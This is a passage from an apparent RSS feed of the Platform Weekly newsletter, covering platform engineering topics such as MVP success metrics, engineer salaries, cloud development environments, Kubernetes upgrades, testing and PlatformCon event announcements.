engineering measurement is done. This MVP is starting with 1 representative and engaged team. And importantly, this team's issues are reflective of the wider organization.\nStep 1: Be very clear about what the goal of your platform is.\nExample goal: Decrease cognitive load for Developer team XYZ\n(Keep in mind that you don\u2019t want to build 50 individual platforms for teams of 20 or so, this should be something that can be expandable outward, so always be careful of being overly niche or too specific)\nStep 2: Define the parameters of the goal, and understand the team.\nThis developer team has 25 members. They are a mix of a few experienced, and a large group of less experienced devs.\nShare a survey to get feedback from the team, organize a call to discuss issues, interview a few key members + interview the head of the team.\nThe team has to spend a lot of time messing around with their own Terraform. The junior devs struggle to do this and so rely on a large number of Tickets to a supporting Ops team. However, due to delays in help, they frequently Slack msg the experienced devs who can help them. This however puts increased pressure on the Senior devs, who have to fulfill their tasks + a shadow Ops role. Senior devs feel they are spending too much time training junior devs, and running Ops while Junior devs constantly feel like they are out of their depth.\nStep 3: Set the baseline measurements for your platform\nNow that you\u2019ve identified what the key issues are, for example in this case it is devs messing with Terraform. Senior Devs feel like they\u2019re running shadow ops. And Junior devs are feeling underwater.\nYou can share an (anonymized) survey on specific points like for example these:\n\n\nHow are you interacting with our Terraform?\n\nHow many times per day do you interact with our Terraform?\n\nHow many requests per day do you get from other members of the team for help with Terraform?\n\nOn a scale of 1-10, how do you feel about your current workload (with 1 being exceptionally overwhelmed, and 10 being perfectly content). Or something similar. This is a subjective question, trying to gauge perception and feeling.\n\nWhat do you find most challenging about your current workload?\nYou could then also track:\n\n\n# of Jira tickets\n\nChanges to TF files\nYou then have a sense of what you need to focus on for this MVP, and can easily look back 6 months later once you\u2019ve built an MVP for this use case, track these metrics, and reshare this survey.\nThose responses then make it far easier to prove value, secure more funding, and expand outward to other teams.\nThis MVP of course features a relatively easy and clear-cut case. Life tends not to be so simple.\nBut it highlights how platform as a product and product management principles are what drive platform engineering success.\nThis process of honing in and focusing on the specifics of what your goal is, using user research to set its parameters clearly, and then using servers plus clear metrics to set the baseline is crucial to measuring platform engineering no matter what your objectives are.\nThese are all concepts from product management, that are supposed to be what makes platform engineering a key differentiator (and are unsurprisingly what are missing, from those teams who struggle with measurement).\nThis really is platform engineering\u2019s biggest problem.\nBut a LOT is happening to solve it. I\u2019ll be sharing a lot of content over the coming months going into more details on this topic, on the MVP Success Metrics Framework we use in the Platform Engineering Fundamentals course, and on best practices you can use for measuring your own (likely more complicated) challenges.\nStay tuned\u270c\ufe0f]]>\n  \n  Mon, 24 Mar 2025 00:00:00 GMT\n\n\n  Being a platform engineer in 2026: Career reality check\n  https://platformweekly.com/issues/being-a-platform-engineer-in-2026-career-reality-check\n  https://platformweekly.com/issues/being-a-platform-engineer-in-2026-career-reality-check\n  \n  \nOne of the biggest advantages we have in the community is getting a clear eyed view on the data of what 100s of thousands of engineers are doing, asking, curious about or struggling with. It\u2019s that insight that lets us build our major research reports, and that guides the course.\nEven small details like this article getting almost 860% more reads on avg in the last 4 weeks tells us a lot. There are a LOT of new platform engineers, and even more uncertain platform engineers. So let\u2019s try and help that.\nWhat are platform engineers building in 2026?\nThe industrial revolution of software, the shift from artisanal workshops to production lines.\nTake my favourite case study we mention everywhere. SIXT, 40 platform engineers serve 800 developers. That\u2019s a 20:1 ratio, compared to the traditional 5:1 model with fragmented operations, security, and infrastructure teams. The efficiency gains are absolutely massivel Time-to-market reduced by 50%, standardization is almost total, the platform team has absorbed domains from database ownership to SRE.\nIn the case of Sixt, the platform team isn\u2019t just thinking about DevEx and advanced Ops. They\u2019re building digital factories that produce software at insane speed (often a gentically) with enforced governance, guardrails, etc. They aren't pumping out slop. Trust me.\nAnd what are platform engineers earning to do this?\nNorth America: $160,000 USD averageEurope: $104,000 USD average\nYes. Salaries are down massively from 2024 ($193K NA, $118K EU), you know my thoughts on that. The shift is more about market evolution than pay.\nIn 2024, platform engineering was led by senior pioneers building first-generation platforms, so compensation skewed high. By 2025, the field has broadened: mid-level engineers (3\u20137 years) and more juniors are entering as teams scale, widening the salary range and lowering averages.\nThe \u201cdecrease\u201d means things are getting more mature, not less valuable. Platform engineering is becoming a standard function that every org has, and everyone knows about.\nSo, what do you need to know to prepare for this?\nWell\u2026 here are 5 things you need to be thinking about.\n\n\nUnderstand the roles: Infra platform engineering, DevEx, Security, Observability, Data, AI, and more all converge in platform engineering.\n\nMultidisciplinary skills: Platform engineering combines scalable architecture, product-focused development, embedded security in pipelines, and continuous operational reliability improvement based on real usage patterns. You need to be  thinking about all of this and how it connects.\n\nFocus on product thinking: measure adoption, UX, reliability, and developer impact.\n\nAnticipate challenges: scaling to hundreds of devs, balancing speed, security, and stability etc.\n\nAct intentionally: build reusable platforms, embed security, and improve through feedback loops. Think continual, long term, iteration. Not just short term project thinking.\nPlatform engineering is more important than ever, and there is no better opportunity for those who know what they\u2019re doing.\nSo let\u2019s do it together!]]>\n  \n  Wed, 25 Feb 2026 00:00:00 GMT\n\n\n  Don\u2019t start your platform journey with Portals or GenAI\n  https://platformweekly.com/issues/dont-start-your-platform-journey-with-portals-or-genai\n  https://platformweekly.com/issues/dont-start-your-platform-journey-with-portals-or-genai\n  \n  \nHey there! Welcome to Platform Weekly, your weekly dance of the platform engineering salsa. This week we\u2019ve got an awesome guest NL from Talia Moyal from Gitpod highlighting some awesome stuff from their new whitepaper on the power of cloud development environments .\nFor the sake of developer productivity, don\u2019t start your platform journey with Portals or GenAI\nGuest newsletter by Talia Moyal, Product at Gitpod\nAs a platform engineer, it\u2019s never clear where to start your platform journey. But at the top of everyone\u2019s list, there are three initiatives that keep coming back: \n\n\nDeveloper Portals\n\nGenerative AI (GenAI)  \n\nStandardized and automated development environments\nI\u2019m going to talk through these initiatives, some of the ways in which they fall short, and where I recommend starting to maximize your ability to improve developer productivity as a platform engineer. \nPortals connect all tools, documentation, and team information in one central catalog. They are especially helpful for large teams with complex infrastructure, but can be equally beneficial for smaller teams who are looking for a unified interface where developers can access resources. Where do Portals fall short? \n\n\nAdoption challenges: Portals are a broad tool that solve many different sub-problems. As with any platform initiative, without a strong enough pain to address or organizational priority, adoption will stall. Additionally, introducing new interfaces to developers can take significant time to enact behavioral change. \n\nLimited scope: Portals commonly focus on the discovery of resources, which usually appeals more to leadership than developers. This focus is also more relevant to the scaffolding and launching of new services, at the start of the development lifecycle, leaving day 2 concerns like updates, patching, and maintenance to still be considered\nWe can all agree that GenAI is revolutionizing how developers write, document, and test code. By leveraging LLMs, these tools generate code snippets, suggest improvements, and even identify potential bugs. GenAI shines when it comes to automating repetitive tasks and providing intelligent insights during development. \nWhere does genAI fall short? \n\n\nMeasuring return on investment: Understanding if GenAI is worth the resources is challenging. Organizations are asking unanswered questions around \u2018who is getting value?\u2019, \u2018how much value?\u2019, \u2018how much faster are we going?\u2019.\n\n\nAccuracy and reliability: GenAI can generate code that is syntactically correct but logically flawed, or doesn\u2019t fully meet specific requirements of a task. It doesn\u2019t \u2018understand\u2019 code in the way humans do, rather it generates code based on patterns, which can lead to misapplication of concepts or inappropriate suggestions. \n\nLimited scope: Similarly to portals, GenAI only supports a short part of the development lifecycle. While it can improve productivity related to writing boilerplate code, it relies on developers to be able to set up their environment and integrate these tools appropriately. \nCloud development environments are standardized and automated development environments pre-configured with all tools, dependencies and packages required to write code. For developers, CDEs provide the freedom to use all of their favorite tooling without the overhead of setting up a development environment. For platform teams, CDEs provide a centralized place to standardize and automate everything related to the setup, maintenance, access provisioning and troubleshooting of development environments. As a result, this enables platform teams to shift their influence to the inner loop of the software development life cycle, unblocking the core of developer productivity issues. \nCDEs should be implemented as a foundation to, or in combination with, Portals and GenAI, making them a perfect first initiative. \nOrganizational benefits of CDEs: \n\n\nEnabling developers to self-serve\n\nImproving developer productivity\n\nImproving developer experience\n\nImproving security posture\n\nSupporting remote and hybrid work \nDownload this white paper to learn more about the ROI of standardized and automated development environments specific to platform teams. \nQuick bites\nArticle of the week:\n\n\nPlatform Engineering: It Is All About the Tooling \nFrom the community:\n\n\nWant to discuss this newsletter with other platform engineering fans? Come join the Slack!\nCommunity jobs spotlight:\n\n\nPlatform Engineer, Managed Operations at AWS in Dublin\n\nMachine Learning Platform Engineer at Adobe in Bengaluru]]>\n  \n  Fri, 16 Aug 2024 00:00:00 GMT\n\n\n  Want your platform to succeed? Focus on Testing\n  https://platformweekly.com/issues/want-your-platform-to-succeed-focus-on-testing\n  https://platformweekly.com/issues/want-your-platform-to-succeed-focus-on-testing\n  \n  \nPlatform engineers these days seem to be building everything. We\u2019re shifting security and observability down into the platform. We\u2019re building data platforms, and AI platforms, but the seemingly forgotten \u201cfrontier\u201d across all of this is the basic idea of\u2026 testing. \nThis is a huge topic for us at the moment. Just this week we had an epic one-two punch webinar and blog this week from Ole from TestKube (I also saw an awesome demo focused fully on how platform engineering and Kubernetes-native testing.\nAnd over the last month, we\u2019ve been surveying the readers of Platform Weekly on the state of their testing. When sharing the survey out, I received nine! Yes, nine emails saying \u201cFinally, someone is talking about testing.\u201d And I am not surprised, the results of the survey were dire\u2026\nZero of the teams talked to had embedded testing directly into their platform.\n\n\n63% of respondents said scaling test automation is a challenge they need to solve this year\n\n53.7% described it as a significant challenge or even a major blocker\n\n67% still orchestrate their tests entirely inside CI/CD pipelines (even though those pipelines weren\u2019t built for the scale and testing demands)\n\nHalf of all teams say \u201chigh maintenance overhead\u201d and \u201cslow execution times\u201d are their top pain points\nIs it hopeless? Definitely not. As the industry matures, there is so much more focus on these underappreciated (but incredible high value topics). And there is a lot more coming. Platform engineering is growing beyond the basics,, new experts like Ole are sharing their knowledge, and so we can get way deeper on the crucial, but maybe less sexy stuff.]]>\n  \n  Mon, 24 Nov 2025 00:00:00 GMT\n\n\n  PlatformCon is LIVE in London\ud83d\udc82\n  https://platformweekly.com/issues/platformcon-is-live-in-london\n  https://platformweekly.com/issues/platformcon-is-live-in-london\n  \n  \nHey there! This is Platform Weekly, your toot of the platform engineering trumpet\ud83c\udfba\nPlatformCon is going LIVE in London\ud83d\udc82\nPlatformCon 2024 is going LIVE for one day in London on Wednesday, 12th of June\ud83d\udd25\nDo you live in London? Or the UK? Or France\u2026 or Europe, or anywhere on Earth. Come say hi! Super excited to help organize a live day for PlatformCon in London which will include some of the biggest names in the platform engineering space giving talks, and leading some hands-on workshops.\nIt\u2019s really the perfect way to complement the awesome stuff we\u2019ve got organized for the rest of the virtual PlatformCon 2024 event. I can\u2019t wait to meet people in person\ud83c\udf89\nThere are only 300 tickets available so make sure to book soon. Hope to see you there!\nQuick bites\nArticles that blew me away: \n\n\n It\u2019s Official: Platform Engineers Earn More Than You (This article from December continues to make waves!)\nFrom the community:\n\n\nTell your platform story. What got you into Platform Engineering?]]>\n  \n  Wed, 03 Apr 2024 00:00:00 GMT\n\n\n  5 ways to make your developer platform more intuitive\n  https://platformweekly.com/issues/5-ways-to-make-your-developer-platform-more-intuitive\n  https://platformweekly.com/issues/5-ways-to-make-your-developer-platform-more-intuitive\n  \n  \nHey there! \n\u200dPlatformCon 2023 is live \ud83d\ude80 I can\u2019t wait to see what the community comes up with this year. Be sure to check out the call for proposals and submit your talk.\nThis week\u2019s guest writer is Fernando Villaba, Sr. Tech Evangelist at Humanitec. He shares 5 tips for making your Internal Developer Platform intuitive.\nLet\u2019s get bakin\u2019\n5 ways to make your developer platform more intuitive\nFernando Villaba, Sr. Tech Evangelist at Humanitec\nIf you\u2019re building an Internal Developer Platform, you want it to be safe and intuitive to learn and use. Developers should be able to use your IDP without having to read the manual first. Here are 5 tips for designing an intuitive platform:\n\n\nChoose features wisely. Make your IDP simple to use and easy to navigate, with opinionated solutions that apply to your organization. In general, it is better to have a smaller number of well-designed and relevant features than a large number of incohesive features. Design your IDP to communicate as many of these features as possible intuitively while also discouraging features that can be harmful or an antipattern.\n\nUse signifiers. Signifiers are cues \u2013 labels, icons, tooltips, and other types of visual indicators \u2013 designed to help users understand and navigate your IDP\u2019s features. They should only be used where design cannot be intuitive in other ways. Too many signifiers can clutter the UI or CLI output and overwhelm your users. The arrows on the stove in the picture below are a great example of this \u2013 they can\u2019t hide the overall poor design!\n\n\nLeverage existing conceptual models. Choose ones that your user is already familiar with like, for example, the use of color. For example, using green for error and red success will cause unnecessary confusion.\n\nMap features and properties. You\u2019ll want to do this in a way that makes it easy to infer the relationship between them. Compare the stovetop below with the previous photo \u2013 this mapping is much more intuitive! For example, if a workload is the unit of deployment in your IDP, all of its properties and related features should be close to it in the UI.\n\n\nProvide feedback. Whenever a developer performs an action, your IDP should give feedback on whether that action has succeeded or failed. Make sure the feedback is useful and accurate \u2013 poor feedback can be worse than no feedback at all! Here\u2019s an example of great feedback from Kind:\nBut this is just the beginning. There is so much more to designing a great user experience for your IDP. Check out the full blog I wrote on Medium. And let me know your thoughts on Twitter at @nandoyum.\nShort on time? \u23f3 We got you \ud83e\udd50\ud83d\ude0b\n\ud83e\udd50 PlatformCon 2023 is live! The platform engineering community is thrilled to bring back this virtual conference by and for platform engineers for its second year on June 8th/9th.\nSign up today and be the first to get updates on new speakers, opportunities to get involved, and in-person meetups. And if you\u2019re a platform expert, leader, or practitioner, submit your talk proposal to share your insights with the community! The call for proposals is open through February 28th.\n\ud83e\udd50 Another take on SRE vs. DevOps vs. Platform Engineering on The New Stack.\n\ud83e\udd50 Here are 5 things to consider when introducing infrastructure automation.\n\ud83e\udd50 Scaling enterprise-wide Kubernetes adoption can be a \ud83d\udc15. Our next webinar dives into common challenges and solutions.\n\ud83e\udd50 The DevOps is dead controversy lives on in 2023\u2026\nHave you joined the Platform Engineering Slack channel? If not, you're missing out. Here are some job opportunities recently shared by the community: \n\n\nSportec Solutions AG is looking for a Technical Product Owner\n\nBazaarvoice is looking for a Senior DevOps Engineer\n\nASAPP is hiring a Senior Software Engineering Manager, Platform\n\nKubeshop is looking for a Staff Platform Engineer\nAnd that\u2019s a wrap on this week! As always, this newsletter is a community project, so if you have anything awesome to share from the cloud-native world, send it our way.\nStay crunchy \ud83e\udd50\nLuca]]>\n  \n  Thu, 02 Feb 2023 00:00:00 GMT\n\n\n  3 myths in platform engineering\n  https://platformweekly.com/issues/3-myths-in-platform-engineering\n  https://platformweekly.com/issues/3-myths-in-platform-engineering\n  \n  \nPlatformCon is my favorite time of year for a number of reasons. But the most important of all is the learning. I can get the chance to watch 100s of talks, and talk to dozens and dozens of incredibly interesting people from across the platform engineering universe.\nI was able to get a sneak preview of ClearRoute\u2019s State of the Route to Live 2025 report, which is based on their analysis of data from 30 Route-to-Live (RTL) assessments across $2 billion in engineering spend.\nHere are 3 of the myths they highlight in the report that surprised me:\nMyth 1: More process = More safety. Over-governance more often just leads to unnecessary delays and unread signoffs, rather than improved safety. Whereas, teams that simplified and implemented \"compliance as code\" saw delivery time improve and change failure rates drop by 64%.\nMyth 2: More QA = Higher quality. Excessive manual QA actually WORSENED outcomes. Teams with more testers than developers had 43% more defects. Those with automated, well-integrated tests, though, resulted in an 81% reduction in post-deployment defects.\nMyth 3: Engineers naturally align with business goals. As someone battle tested in the art of helping teams adopt platform engineering, this one didn\u2019t surprise me, but what does surprise me is how often leaders assume engineers will naturally care about business goals. \nLeadership & engineers 9/10 times are not speaking the same platform love language. And it causes challenges every single time.\nThe report is still in its final stages, but I will share it here when it\u2019s done.\nNot often you get to zoom in on learnings from 2b in spending.]]>\n  \n  Wed, 13 Aug 2025 00:00:00 GMT\n\n\n  PlatformCon is here\n  https://platformweekly.com/issues/platformcon-is-here\n  https://platformweekly.com/issues/platformcon-is-here\n  \n  \nHey there! Welcome to Platform Weekly. Your weekly boogie board on the platform engineering tsunami. This week is all about the world\u2019s largest platform engineering event, PlatformCon is here!\nThere is only one link that matters this week. Register for PlatformCon!\nPlatformCon is here\nThe world\u2019s largest platform engineering conference starts in just 3 days. I can\u2019t believe we\u2019re almost here. It\u2019s always crazy trying to organise an event of this scale. We\u2019re a small team, and we always try and do a LOT. But this time has been next level. But it is so so worth it. Take a look at why\ud83d\udc47\nMore learning, more content, more formats. So what does next week look like? Well virtually, we\u2019re talking about:\n\n\n300 speakers\n\n150+ hours of content\n\n30 hands-on workshops\n\n3 live expert panels\n\n5 days of nonstop platform engineering\nThat 150 hours of content includes over 200 virtual talks on everything from how platform engineering intersects with AI, security, observability and more, to lessons from successful and failed platforms, and stories from experts of every industry, geo, and company size. Go check out the full list. There are some real bangers in there.\nBut the main events at PlatformCon next week?\n\n\n450 people will come together in New York City for the first-ever PlatformCon Live in the US.\n\n700 people will come together in London\n\nOver 6,000 people will attend 30 hands-on platform engineering workshops.\nIf you want to be one of them, it\u2019s very close to your last chance\u2026\nRegister for PlatformCon, join a workshop, purchase a Live Day ticket and let\u2019s goooooo!!]]>\n  \n  Thu, 14 Aug 2025 00:00:00 GMT\n\n\n  We came, we saw, we Kube'd.\n  https://platformweekly.com/issues/we-came-we-saw-we-kubed\n  https://platformweekly.com/issues/we-came-we-saw-we-kubed\n  \n  \n3 years ago, I had 50+ KubeCon conversations explaining \u201cwhat is platform engineering\u201d, at the same time we struggled to get 15 people into a Roundtable (in which half the people had no idea what platforms were), and the conversation, though fun, never made it far beyond that.\nNow? The industry (and community) is more mature than ever before\n\n\n53 people joined the Roundtable on Monday\n\n36 joined our three back-to-back workshops\n\n34 joined our Roundtable on Tuesday\nAnd 980 people joined us at House of Kube. And at the same time, that feeling of community has never been stronger.\n\u200d\nAnd probably more important - the conversation has never been deeper. Intense debates on architecture frameworks, enterprise best practices, and more.\nATL - it\u2019s been honour\ud83d\udc4b]]>\n  \n  Mon, 24 Nov 2025 00:00:00 GMT\n\n\n  Platform masters. Tell me your secrets.\n  https://platformweekly.com/issues/platform-masters-tell-me-your-secrets\n  https://platformweekly.com/issues/platform-masters-tell-me-your-secrets\n  \n  \nThere are just 3 days left to submit a talk to PlatformCon 2025. Every year, I tell you we will have the best lineup, the coolest speakers, and the most interesting talks. And every year my mind gets blown away again.\nWe are truly in the platform engineering age. Gartner says that in 2026 80% of engineering organizations will have an Internal Developer Platform (IDP). Everyone loves an analyst prediction that confirms their bias, but it isn\u2019t hard here to go beyond that quote and just look around at what we are seeing. Platform engineering is eating the world.\nI don\u2019t just mean what I\u2019ve talked about before, that the community and PlatformCon are growing like crazy.\nBut when I look at topics and ideas in the 100s of talk submissions, we received so far, there is something different to last year. The depth that we can go now go, and the scope of what platform engineering encompasses has reached new heights.\nI\u2019m talking about things like:\n\n\nHeads of Platform & Platform Product Owners sharing their real-world multi-year experience running platforms at large enterprises.\n\nPlatform engineering & security/compliance in regulated industries (Sexy)\n\nPlatform engineering and agentic AI\nNot to mention submissions for talks that go deeper than ever before into experiences, challenges, and lessons of Platform as a Product, Infrastructure platform engineering, or just plain adoption.\nI know you\u2019ve got a story to tell too! You\u2019ve got until this Sunday February 23rd, 11:59 PM Pacific Standard Time (PST) to submit.\nI want to hear from you.]]>\n  \n  Wed, 13 Aug 2025 00:00:00 GMT\n\n\n  Cloud Development Environments for platform engineers\n  https://platformweekly.com/issues/cloud-development-environments-for-platform-engineers\n  https://platformweekly.com/issues/cloud-development-environments-for-platform-engineers\n  \n  \nThe platform engineering community has just published our latest report, following through on our full force focus into learning and best practices, we break down Cloud Development Environments for Platform Engineers. \nThere are 3 megatrends defining the software engineering universe at the moment: the rise of platform engineering, the massive impact of AI-powered development, and the risks and demands of cybersecurity.\nCDEs, which are preconfigured cloud-native environments that automate, secure, and standardize workflows. They remove local setup, speed onboarding, and unify the development lifecycle drive and support all of these \u201cmegatrends\u201d.\n\n\nFor platform engineering, while IDPs manage the broader ecosystem and \u201couter loop\u201d workflows. CDEs focus on the developer\u2019s \u201cinner loop\u201d of coding, testing, and iterating.\n\nCDEs replace local setups with secure, ephemeral, policy-enforced workspaces, cutting the attack surface massively. Pretty crucial in an era where AI can drive 36K attacks a second and breaches cost $4.88M on avg.\n\nAI & PE are symbiotically connected and CDEs support this perfectly. Embedded into IDPs, they streamline every layer of the AI workflow from provisioning compute to using code assistants to deploying agents, within a governed, auditable, and secure environment.\nDoes your internal developer platform NEED a CDE? Maybe not. Would a CDE help? Probably. Should you understand exactly what CDEs are and whether they will drive your platform engineering, AI or security goals?\nAbsolutely. So go find out.]]>\n  \n  Thu, 21 Aug 2025 00:00:00 GMT\n\n\n  The Platform Revolution comes to Paris\n  https://platformweekly.com/issues/the-platform-revolution-comes-to-paris\n  https://platformweekly.com/issues/the-platform-revolution-comes-to-paris\n  \n  \nHey there! This is Platform Weekly, 72 weeks ago while enjoying a croissant in France, I decided to start a weekly platform engineering newsletter. Well now, after 500 days\u2026 I am coming back to France for #KubeCon Paris.\nThe Platform Engineering Revolution comes to Paris\nFor everyone here who has been to KubeCon, you know how hectic it can be. Even beyond the planned meetings, from the booth, to coffee chats, to mezcal in the evening, there are easily 100s of conversations across the 4 days.\nI\u2019ve been going to KubeCon for years now, and it was literally only 2 years ago that 99% of those 100s of conversations were people asking me, \u201cwtf is platform engineering?\u201d.\nThis year? We aren\u2019t just talking about platform engineering. We\u2019re going deep. We now have best practice inspired reference architectures that have been downloaded 1000s of times (and open source versions too), we\u2019ve got huge events like PlatformCon (almost 35k attendees!!), we have dozens of experts, practitioners and companies all thinking about and working on platform engineering 24/7.\nMost of all? We\u2019ve got an effective process to get started with platform engineering in a clear, and replicable way. \nThis is just in the last 2 years.\nImagine what 2025 will look like? I can\u2019t wait. See you there.\nP.S. Will you be in KubeCon Paris? Come say hi at Booth #D35\nQuick bites\nArticles that blew me away: \n\n\n Developer Productivity Engineering at Netflix\nFrom the community:\n\n\nWill you be at KubeCon Paris? Come join the channel]]>\n  \n  Wed, 03 Apr 2024 00:00:00 GMT\n\n\n  Can Devs Discover Your Platform From The Toilet?\n  https://platformweekly.com/issues/can-devs-discover-your-platform-from-the-toilet\n  https://platformweekly.com/issues/can-devs-discover-your-platform-from-the-toilet\n  \n  \nHey there! It\u2019s Platform Weekly. \ud83e\udd50 We\u2019re like your first hot shower after a long day at the beach \u2013 we hit different. \ud83c\udfd6\ufe0f Let\u2019s get bakin\u2019\nCan devs discover your platform from the toilet?\nThis paper from Google engineer productivity researchers examines the effectiveness of 1-page printed newsletters written by devs and posted in restrooms for the purpose of promoting awareness and adoption of software tools and practices, a tactic called \u201cTesting on the Toilet\u201d or TotT. It also compared TotT to other tactics such as social media, email announcements, and peer learning.\nHere\u2019s how their findings can help you sell your Internal Developer Platform to your devs \ud83d\udc47\n\n\nTotT works for most tools because of the toilets. \ud83d\udebd Researchers found that newsletters posted to the bathroom performed better than the same posters posted ar an annual project fair. The discrepancy was attributed to poor placement at the job fair and the fair\u2019s audience being too broad.\n\n\nSocial media can help drive awareness, with a small caveat: unlike with printed newsletters, the magnitude of the impact depends on the dev\u2019s personal network. Consider if social media is a viable medium to promote your platform given the size of your platform advocates\u2019 network.\n\nTargeted emails to relevant mailing lists effectively boosted users, but not for as sustained a period of time as TotT. One explanation raised by the researchers is that emails are more likely to be deleted or buried under new emails than a single newsletter displayed in the bathroom for an indefinite period of time. \n\nDevs reported learning about tools from peer devs. This is why platform advocacy is so important. Create opportunities for users to show how the platform is adding value. \n\nPlatform design still matters. Is your platform easy to try? Is it relevant to your developers\u2019 responsibilities? Is it intuitive to use? If the product is a dud, better advertising won\u2019t fix your adoption problem.\nShare | Tweet | Forward\n\u200dShort on time? \u23f3 We got you \ud83e\udd50\ud83d\ude0b\n\u064eQuick Bites\n\n\n According to the latest DevOps and Cloud InfoQ Trends Report \u2013 July 2023, \u201cthe evolution of platform engineering involves a shift toward simplification, focusing on value delivery, and adopting a platform-as-a-service mindset.\u201d \n\nWhich is concerning, to say the least. If you\u2019re getting a PaaS, you aren\u2019t following a platform as a product approach. And a product mindset is the key to building a platform your devs actually want to use.\n\n Like any other tool, generative AI can pose a DevOps cybersecurity risk if you aren\u2019t careful. Surprise, I guess? \n\nDoes ChatGPT help or hurt your devs\u2019 productivity? According to this article, ChatGPT both helps debug code and outputs buggy code. \ud83d\ude06\nUpcoming Webinars\n\n\n Many teams want to enable PR and ephemeral environments for their devs, but they struggle to maintain consistency across environments, integrate optimally in the workflow of devs, and keep costs low. If you can relate, this next webinar is for you.\n\n\nBuild multi-region resilient applications emphasizing chaos engineering | Teja Swaroop Mylavarapu, Lead Software Engineer at Capital One | July 27, 2023 | 9:00 PM CEST | 3:00 PM EDT\n\nCracking the code: Single pane of glass in observability | Sean Alvarez, Principal Consultant at Thoughtworks, Inc | August 1, 2023 | 9:00 PM CEST | 3:00 PM EDT\n\nSaaS success secrets: Dynamic tenant provisioning in cloud infra & automation | Jaroslav Vojtek, Senior DevOps Engineer at Labyrinth Labs | August 2, 2023 | 7:00 PM CEST | 1:00 PM EDT \nCommunity Highlights\nHave you joined the Platform Engineering Slack channel? If not, you're missing out. Here are the highlights from this week:\n\n\nA deep learning team needs a platform for model inference: what's the best solution?\n\n How to integrate an IDP development with GitOps\n\nSearching for tools with real time reflection (without polling) of config values\n\n Has anyone used Terraform to create a cloudwatch dashboard monitoring read/write events in an s3 bucket?\nAnd that\u2019s a wrap on this week! As always, this newsletter is a community project. So if you have anything awesome to share from the cloud-native world, send it our way.\nStay crunchy \ud83e\udd50\nLuca\n\u200d]]>\n  \n  Thu, 27 Jul 2023 00:00:00 GMT\n\n\n  Why are K8s upgrades so tough?\n  https://platformweekly.com/issues/why-are-k8s-upgrades-so-tough\n  https://platformweekly.com/issues/why-are-k8s-upgrades-so-tough\n  \n  \n\ud83e\udd50 Platform Weekly here! You know that feeling you get when you flip your pillow to the cold side in the middle of the night? Reading us is better than that. Let\u2019s get bakin\u2019\nWhat makes K8s upgrades so challenging?\nText by Fawad Khaliq, Founder and CTO at Chkk Memes by Luca Galante\nOur last 100+ conversations with DevOps/SREs are summarized in 4 nouns and 3 emotions: \u201cKubernetes Cluster Version Upgrades\u201d\u2026. \u201cHard, Pain, Work\u201d.\nWhy are Kubernetes upgrades so challenging? Why isn\u2019t a Kubernetes upgrade as easy as an iPhone upgrade experience? Here\u2019s what makes it hard and why DevOps/SREs find change management stressful:\n1\ufe0f\u20e3 Kubernetes isn\u2019t, and shouldn\u2019t be, vertically integrated.\nK8s is designed for flexibility and cloud providers work hard to ensure this flexibility isn\u2019t compromised. \n\ud83d\udca1The solution is a cloud-owned k8s control plane (EKS, GKE, AKS, OKE \u2026) with a few managed add-ons (e.g. CoreDNS, CNI \u2026) and some guidance on how to build apps, while giving the flexibility of introducing new components/add-ons/apps to DevOps/SRE teams. \nThe cost of this flexibility is that these DevOps/SRE teams must now own the lifecycle of the add-ons and the applications that run on top of the k8s infrastructure.\n2\ufe0f\u20e3 You don\u2019t know what\u2019ll break before it breaks.\nWith so many moving pieces, it\u2019s hard to know if your running k8s components have incompatibilities or latent risks. \nMany users use spreadsheets to track what they are running vs what they should be running, which is both painful and error prone. \nWe all know that \u201cNot broken != working-as-it-should\u201d. Latent risks and unsupported versions may keep lurking around for weeks/months until they cause impact. \nWhat\u2019s needed here is sharing the collective knowledge of the DevOps/SRE teams, so if one team has encountered an upgrade risk then everyone else just gets to avoid it without any extra work on their end. \nUsing spreadsheets to track what's running on k8s be like:\n3\ufe0f\u20e3 Getting an upgrade right takes a lot of time.\nDeloitte\u2019s CIO survey estimates that 80% of DevOps/SRE time is spent in operations/maintenance, and only 20% is spent on innovation. \nI am not surprised as cooking up a \u201csafe\u201d upgrade plan is a huge time sink. You have to read an inordinate amount of text and code (on release notes, GitHub issues/PRs, blogs, etc.) to really understand what\u2019s relevant to you vs what\u2019s not. \nThis can take weeks of effort, which is time that you could\u2019ve spent on business critical functions like architectural projects and infrastructure scaling/optimization.\nFawad is the Founder and CTO at Chkk - a company focused on eliminating operational risks through Collective Learning. Formerly, he was a technical lead for Amazon EKS, and early engineer at PLUMgrid, creators of eBPF. You can follow him on Twitter @fawadkhaliq.\nRead the full article here.\nIs the era of microservices over?\nLambda and serverless were touted by AWS to be the future, but even their own engineers disagree.\nLast week, an Amazon Prime Video case study stirred up some controversy when the team revealed they had reduced costs by 90% by moving from microservices back to a monolith: \u201cMicroservices and serverless components are tools that do work at high scale, but whether to use them over monolith has to be made on a case-by-case basis.\u201d\nIt\u2019s surprising to some because AWS frequently frames microservices and serverless architecture as the best way to modernize applications. \nBut it also isn\u2019t surprising (or, at least, it shouldn\u2019t be \ud83d\ude2c) that some architectures work well for some businesses but not for others. \nAmazon Prime Video\u2019s old architecture was based on Amazon Lambda, which is good if you want to build services quickly. However, it wasn\u2019t cost-effective when running at high scale. Let\u2019s take the orchestration workflow, for example. Alex Xusuccinctly explained that \u201cAWS step functions charge users by state transitions and the orchestration performs multiple state transitions every second.\u201d\nFurthermore, in the old architecture, intermediate data was stored in Amazon S3 before it was downloaded. High volume downloads became tr\u00e8s cher \ud83d\udcb8.\nA monolithic architecture is supposed to address these cost issues. From Alex Xu, again: \u201cThere are still 3 components, but the media converter and defect detector are deployed in the same process, saving the cost of passing data over the network.\u201d \nAnd that\u2019s where the 90% cost reduction came from! Pretty neat, right?\nSo the next time someone tells you \u201cmicroservices good, monoliths bad\u201d (or \u201cmonoliths good, microservices bad\u201d for that matter), kindly send them this newsletter. \ud83d\ude09 And remember: your business should determine your architecture, not the other way around.\nHave you joined the Platform Engineering Slack channel? If not, you're missing out. Join us to weigh in on some open questions:\n\n\nWhat is the best option for automation on a product deployed on an AWS Kubernetes cluster? \n\nHow do create a value proposition your platform?\n\nHow do you manage your repository data? \n\n\nWhat are the best CI/CD technologies?\n\n\nStay crunchy \ud83e\udd50\nLuca\n\u200d]]>\n  \n  Thu, 11 May 2023 00:00:00 GMT\n\n\n  3 biggest lessons from the AWS Summit\n  https://platformweekly.com/issues/3-biggest-lessons-from-the-aws-summit\n  https://platformweekly.com/issues/3-biggest-lessons-from-the-aws-summit\n  \n  \nHey there! This is platform weekly, your weekly sip of platform engineering tea. Want the latest and greatest in the platform engineering universe? Let\u2019s dive 